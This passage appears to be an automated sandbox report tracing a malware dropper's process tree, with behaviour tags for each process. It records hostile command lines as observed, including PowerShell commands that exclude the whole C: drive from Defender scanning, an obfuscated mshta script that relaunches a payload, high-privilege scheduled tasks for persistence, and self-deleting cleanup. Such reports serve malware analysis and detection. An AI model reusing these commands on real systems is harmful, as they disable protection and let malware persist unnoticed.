        C:\Windows\system32\cmd.exe /c Tue0947ef38552fc.exe
        5⤵
        
        PID:2020
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0947ef38552fc.exe
        
        Tue0947ef38552fc.exe
        6⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1704
        
        C:\Users\Public\run.exe
        
        C:\Users\Public\run.exe
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:2764
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:5740
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2764 -s 260
        8⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:5944
        
        C:\Users\Public\run2.exe
        
        C:\Users\Public\run2.exe
        7⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1624
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue09792fda06e.exe
        5⤵
        
        PID:2160
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09792fda06e.exe
        
        Tue09792fda06e.exe
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:3700
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue09786995c7f02a923.exe
        5⤵
        
        PID:1976
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09786995c7f02a923.exe
        
        Tue09786995c7f02a923.exe
        6⤵
        Executes dropped EXE
        
        PID:396
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1981279902.exe"
        7⤵
        
        PID:3232
        
        C:\Users\Admin\AppData\Local\Temp\1981279902.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1981279902.exe"
        8⤵
        Executes dropped EXE
        
        PID:3056
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3056 -s 980
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:6492
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\5403042739.exe"
        7⤵
        
        PID:1764
        
        C:\Users\Admin\AppData\Local\Temp\5403042739.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5403042739.exe"
        8⤵
        Executes dropped EXE
        
        PID:3928
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue09786995c7f02a923.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09786995c7f02a923.exe" & exit
        7⤵
        
        PID:6172
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Tue09786995c7f02a923.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:3692
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue091e2054cef7.exe
        5⤵
        
        PID:3016
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue091e2054cef7.exe
        
        Tue091e2054cef7.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2392
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"
        7⤵
        
        PID:6856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'
        8⤵
        
        PID:5856
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"
        7⤵
        
        PID:6972
        
        C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"
        8⤵
        
        PID:6376
        
        C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
        
        C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
        7⤵
        
        PID:4224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
        8⤵
        
        PID:7088
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ovcvqc.vbs"
        8⤵
        
        PID:9876
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\
        9⤵
        
        PID:1772
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0971aafeebb6f.exe
        5⤵
        
        PID:872
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue093cbcf0222440.exe
        5⤵
        
        PID:3928
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0956c36b51.exe /mixone
        5⤵
        
        PID:3252
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0990c8b597f.exe
        5⤵
        
        PID:2164
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue09264824c4.exe
        5⤵
        
        PID:3160
- C:\Windows\SysWOW64\wscript.exe
  "C:\Windows\SysWOW64\wscript.exe"
  2⤵
  PID:3592
- C:\Windows\SysWOW64\control.exe
  "C:\Windows\SysWOW64\control.exe"
  2⤵
  PID:3908
- C:\Program Files (x86)\Azpxl_\igfxevf.exe
  "C:\Program Files (x86)\Azpxl_\igfxevf.exe"
  2⤵
  PID:8180
- C:\Users\Admin\AppData\Local\Temp\C52D.exe
  C:\Users\Admin\AppData\Local\Temp\C52D.exe
  2⤵
  PID:4728
- - C:\Users\Admin\AppData\Local\Temp\C52D.exe
    C:\Users\Admin\AppData\Local\Temp\C52D.exe
    3⤵
    PID:8224
- C:\Users\Admin\AppData\Local\Temp\FD07.exe
  C:\Users\Admin\AppData\Local\Temp\FD07.exe
  2⤵
  PID:8492
- C:\Users\Admin\AppData\Local\Temp\140A.exe
  C:\Users\Admin\AppData\Local\Temp\140A.exe
  2⤵
  PID:9032
- C:\Users\Admin\AppData\Local\Temp\389B.exe
  C:\Users\Admin\AppData\Local\Temp\389B.exe
  2⤵
  PID:920
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im 389B.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\389B.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:1428
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im 389B.exe /f
      4⤵
      Kills process with taskkill
      PID:9020
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:9176
- C:\Users\Admin\AppData\Local\Temp\3EC6.exe
  C:\Users\Admin\AppData\Local\Temp\3EC6.exe
  2⤵
  PID:1428
- - C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
    "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
    3⤵
    PID:8376
- C:\Users\Admin\AppData\Local\Temp\6C7E.exe
  C:\Users\Admin\AppData\Local\Temp\6C7E.exe
  2⤵
  PID:8368
- C:\Users\Admin\AppData\Local\Temp\43B.exe
  C:\Users\Admin\AppData\Local\Temp\43B.exe
  2⤵
  PID:8968
- C:\Users\Admin\AppData\Local\Temp\301E.exe
  C:\Users\Admin\AppData\Local\Temp\301E.exe
  2⤵
  PID:8576

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
PID:1656
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k SystemNetworkService
  2⤵
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  PID:3036

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2676
- C:\Windows\system32\wbem\WMIADAP.EXE
  wmiadap.exe /F /T /R
  2⤵
  PID:6108

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2592

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2408

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1940

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1360

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1260

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1164

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:924
- C:\Users\Admin\AppData\Roaming\iaejdfv
  C:\Users\Admin\AppData\Roaming\iaejdfv
  2⤵
  PID:8292
- C:\Users\Admin\AppData\Roaming\veejdfv
  C:\Users\Admin\AppData\Roaming\veejdfv
  2⤵
  PID:8872
- - C:\Users\Admin\AppData\Roaming\veejdfv
    C:\Users\Admin\AppData\Roaming\veejdfv
    3⤵
    PID:3680
- C:\Users\Admin\AppData\Roaming\veejdfv
  C:\Users\Admin\AppData\Roaming\veejdfv
  2⤵
  PID:9072
- - C:\Users\Admin\AppData\Roaming\veejdfv
    C:\Users\Admin\AppData\Roaming\veejdfv
    3⤵
    PID:9948
- C:\Users\Admin\AppData\Roaming\iaejdfv
  C:\Users\Admin\AppData\Roaming\iaejdfv
  2⤵
  PID:6852
- C:\Users\Admin\AppData\Roaming\cuejdfv
  C:\Users\Admin\AppData\Roaming\cuejdfv
  2⤵
  PID:4964
- C:\Users\Admin\AppData\Roaming\iaejdfv
  C:\Users\Admin\AppData\Roaming\iaejdfv
  2⤵
  PID:4604
- C:\Users\Admin\AppData\Roaming\veejdfv
  C:\Users\Admin\AppData\Roaming\veejdfv
  2⤵
  PID:2236
- C:\Users\Admin\AppData\Roaming\cuejdfv
  C:\Users\Admin\AppData\Roaming\cuejdfv
  2⤵
  PID:5848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:304

C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0956c36b51.exe
Tue0956c36b51.exe /mixone
1⤵
- Executes dropped EXE
PID:2224
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 660
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 676
  2⤵
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:1384
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 684
  2⤵
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:1016
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 668
  2⤵
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:2992
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 892
  2⤵
  - Program crash
  PID:1464
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 968
  2⤵
  - Program crash
  PID:5652
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 1104
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  PID:6084

C:\Users\Admin\AppData\Local\Temp\is-RI5J1.tmp\Tue0990c8b597f.tmp
"C:\Users\Admin\AppData\Local\Temp\is-RI5J1.tmp\Tue0990c8b597f.tmp" /SL5="$8004A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0990c8b597f.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1336
- C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0990c8b597f.exe
  "C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0990c8b597f.exe" /SILENT
  2⤵
  - Executes dropped EXE
  PID:4196
- - C:\Users\Admin\AppData\Local\Temp\is-IIR19.tmp\Tue0990c8b597f.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-IIR19.tmp\Tue0990c8b597f.tmp" /SL5="$20206,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0990c8b597f.exe" /SILENT
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks whether UAC is enabled
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    PID:4312
  - - C:\Users\Admin\AppData\Local\Temp\is-MDTIG.tmp\postback.exe
      "C:\Users\Admin\AppData\Local\Temp\is-MDTIG.tmp\postback.exe" ss1
      4⤵
      Executes dropped EXE
      Checks whether UAC is enabled
      PID:4104

C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0971aafeebb6f.exe
Tue0971aafeebb6f.exe
1⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:2372
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:5352
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:6916

C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue093cbcf0222440.exe
"C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue093cbcf0222440.exe" -u
1⤵
PID:3920

C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0990c8b597f.exe
Tue0990c8b597f.exe
1⤵
- Executes dropped EXE
PID:3596

C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue093cbcf0222440.exe
Tue093cbcf0222440.exe
1⤵
PID:2900

C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09264824c4.exe
Tue09264824c4.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:3924
- C:\Users\Admin\Pictures\Adobe Films\Eav4hlSDvDzNefyaF_jZWFxW.exe
  "C:\Users\Admin\Pictures\Adobe Films\Eav4hlSDvDzNefyaF_jZWFxW.exe"
  2⤵
  - Executes dropped EXE
  PID:5692
- C:\Users\Admin\Pictures\Adobe Films\42eI0GMULXD2U_NaDuSnkI8c.exe
  "C:\Users\Admin\Pictures\Adobe Films\42eI0GMULXD2U_NaDuSnkI8c.exe"
  2⤵
  - Executes dropped EXE
  PID:380
- C:\Users\Admin\Pictures\Adobe Films\Vn8eZwEgswlmVS33xmSPaChK.exe
  "C:\Users\Admin\Pictures\Adobe Films\Vn8eZwEgswlmVS33xmSPaChK.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:5476
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:7528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:7448
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4556
- - C:\Users\Admin\Documents\kxK3O_f5oECpfbpLhLvk4cA3.exe
    "C:\Users\Admin\Documents\kxK3O_f5oECpfbpLhLvk4cA3.exe"
    3⤵
    PID:6560
  - - C:\Users\Admin\Pictures\Adobe Films\1oFh8pGAhWx8Q9dj05Z6hcut.exe
      "C:\Users\Admin\Pictures\Adobe Films\1oFh8pGAhWx8Q9dj05Z6hcut.exe"
      4⤵
      PID:7108
  - - C:\Users\Admin\Pictures\Adobe Films\XP3VkfZDj1FxoZydf0RBUzSA.exe
      "C:\Users\Admin\Pictures\Adobe Films\XP3VkfZDj1FxoZydf0RBUzSA.exe"
      4⤵
      PID:3032
  - - C:\Users\Admin\Pictures\Adobe Films\moaIvH1x5MB2tKtiVHUXhi9m.exe
      "C:\Users\Admin\Pictures\Adobe Films\moaIvH1x5MB2tKtiVHUXhi9m.exe"
      4⤵
      PID:5504
  - - C:\Users\Admin\Pictures\Adobe Films\UvXkEhY1xe1kX5PYJ67PNYCr.exe
      "C:\Users\Admin\Pictures\Adobe Films\UvXkEhY1xe1kX5PYJ67PNYCr.exe"
      4⤵
      PID:7060
  - - C:\Users\Admin\Pictures\Adobe Films\iHreOFaLudqcFAaAcuH3ZPxo.exe
      "C:\Users\Admin\Pictures\Adobe Films\iHreOFaLudqcFAaAcuH3ZPxo.exe"
      4⤵
      PID:4916
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\iHreOFaLudqcFAaAcuH3ZPxo.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\iHreOFaLudqcFAaAcuH3ZPxo.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        5⤵
        
        PID:4212
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\iHreOFaLudqcFAaAcuH3ZPxo.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\iHreOFaLudqcFAaAcuH3ZPxo.exe" ) do taskkill -f -iM "%~NxM"
        6⤵
        
        PID:6104
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "iHreOFaLudqcFAaAcuH3ZPxo.exe"
        7⤵
        Kills process with taskkill
        
        PID:5772
  - - C:\Users\Admin\Pictures\Adobe Films\p4yqLorspAMPJheTWEh3utCQ.exe
      "C:\Users\Admin\Pictures\Adobe Films\p4yqLorspAMPJheTWEh3utCQ.exe"
      4⤵
      PID:6280
  - - C:\Users\Admin\Pictures\Adobe Films\ztRxU0Zxs3xBttoekoCbCO9X.exe
      "C:\Users\Admin\Pictures\Adobe Films\ztRxU0Zxs3xBttoekoCbCO9X.exe"
      4⤵
      PID:8052
    - - C:\Users\Admin\AppData\Local\Temp\is-8CJ1M.tmp\ztRxU0Zxs3xBttoekoCbCO9X.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-8CJ1M.tmp\ztRxU0Zxs3xBttoekoCbCO9X.tmp" /SL5="$3032C,506127,422400,C:\Users\Admin\Pictures\Adobe Films\ztRxU0Zxs3xBttoekoCbCO9X.exe"
        5⤵
        
        PID:7396
      - C:\Users\Admin\AppData\Local\Temp\is-BJGIU.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-BJGIU.tmp\DYbALA.exe" /S /UID=2709
        6⤵
        
        PID:4728
        
        C:\Users\Admin\AppData\Local\Temp\07-d4119-92e-fcdb9-f9a0cef38d18b\Dywohaelyxi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\07-d4119-92e-fcdb9-f9a0cef38d18b\Dywohaelyxi.exe"
        7⤵
        
        PID:6444
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iq2pnrft.4sq\GcleanerEU.exe /eufive & exit
        8⤵
        
        PID:3944
        
        C:\Users\Admin\AppData\Local\Temp\iq2pnrft.4sq\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\iq2pnrft.4sq\GcleanerEU.exe /eufive
        9⤵
        
        PID:7180
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jcqfd2gj.gc2\installer.exe /qn CAMPAIGN="654" & exit
        8⤵
        
        PID:3884
        
        C:\Users\Admin\AppData\Local\Temp\jcqfd2gj.gc2\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\jcqfd2gj.gc2\installer.exe /qn CAMPAIGN="654"
        9⤵
        
        PID:7704
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\jcqfd2gj.gc2\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\jcqfd2gj.gc2\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1635051619 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        10⤵
        
        PID:4848
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vizutzqm.24v\any.exe & exit
        8⤵
        
        PID:8408
        
        C:\Users\Admin\AppData\Local\Temp\vizutzqm.24v\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\vizutzqm.24v\any.exe
        9⤵
        
        PID:8992
        
        C:\Users\Admin\AppData\Local\Temp\vizutzqm.24v\any.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vizutzqm.24v\any.exe" -u
        10⤵
        
        PID:6296
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tjtphblp.cjb\gcleaner.exe /mixfive & exit
        8⤵
        
        PID:8728
        
        C:\Users\Admin\AppData\Local\Temp\tjtphblp.cjb\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\tjtphblp.cjb\gcleaner.exe /mixfive
        9⤵
        
        PID:6980
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\elcvfk41.a31\autosubplayer.exe /S & exit
        8⤵
        
        PID:8876
  - - C:\Users\Admin\Pictures\Adobe Films\c9fod55LO99IbdW9wVX2hN5u.exe
      "C:\Users\Admin\Pictures\Adobe Films\c9fod55LO99IbdW9wVX2hN5u.exe"
      4⤵
      PID:7520
    - - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        5⤵
        
        PID:1888
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"
        6⤵
        
        PID:5344
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1cc,0x1d0,0x1d4,0x1a8,0x1d8,0x7ffa3ecadec0,0x7ffa3ecaded0,0x7ffa3ecadee0
        7⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff683099e70,0x7ff683099e80,0x7ff683099e90
        8⤵
        
        PID:6432
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1724,18006286225791036574,10236843122055941531,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5344_1030309461" --mojo-platform-channel-handle=1744 /prefetch:8
        7⤵
        
        PID:8584
- C:\Users\Admin\Pictures\Adobe Films\v_lxWPWyyQa5IH0Gr3FB4Rlq.exe
  "C:\Users\Admin\Pictures\Adobe Films\v_lxWPWyyQa5IH0Gr3FB4Rlq.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:5584
- C:\Users\Admin\Pictures\Adobe Films\cqdXs3kGy1dGZyR1d4rb_89c.exe
  "C:\Users\Admin\Pictures\Adobe Films\cqdXs3kGy1dGZyR1d4rb_89c.exe"
  2⤵
  - Executes dropped EXE
  PID:5600
- C:\Users\Admin\Pictures\Adobe Films\1k6rpdU0gxBNmXN72xnE1Y53.exe
  "C:\Users\Admin\Pictures\Adobe Films\1k6rpdU0gxBNmXN72xnE1Y53.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:2416
- C:\Users\Admin\Pictures\Adobe Films\9K35heZfIUGXZ90ZvONjfdfr.exe
  "C:\Users\Admin\Pictures\Adobe Films\9K35heZfIUGXZ90ZvONjfdfr.exe"
  2⤵
  - Executes dropped EXE
  PID:4600
- C:\Users\Admin\Pictures\Adobe Films\kYufThxLpuBaLKBYroe6xyXT.exe
  "C:\Users\Admin\Pictures\Adobe Films\kYufThxLpuBaLKBYroe6xyXT.exe"
  2⤵
  - Executes dropped EXE
  - Windows security modification
  - Suspicious use of SetThreadContext
  PID:2644
- - C:\Users\Admin\AppData\Local\Temp\e1b2421d-dde8-4e54-9909-be7d5af80425\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\e1b2421d-dde8-4e54-9909-be7d5af80425\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e1b2421d-dde8-4e54-9909-be7d5af80425\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:7760
  - - C:\Users\Admin\AppData\Local\Temp\e1b2421d-dde8-4e54-9909-be7d5af80425\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\e1b2421d-dde8-4e54-9909-be7d5af80425\AdvancedRun.exe" /SpecialRun 4101d8 7760
      4⤵
      PID:8084
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\kYufThxLpuBaLKBYroe6xyXT.exe" -Force
    3⤵
    PID:7360
- - C:\Users\Admin\Pictures\Adobe Films\kYufThxLpuBaLKBYroe6xyXT.exe
    "C:\Users\Admin\Pictures\Adobe Films\kYufThxLpuBaLKBYroe6xyXT.exe"
    3⤵
    PID:8124
- - C:\Users\Admin\Pictures\Adobe Films\kYufThxLpuBaLKBYroe6xyXT.exe
    "C:\Users\Admin\Pictures\Adobe Films\kYufThxLpuBaLKBYroe6xyXT.exe"
    3⤵
    PID:8104

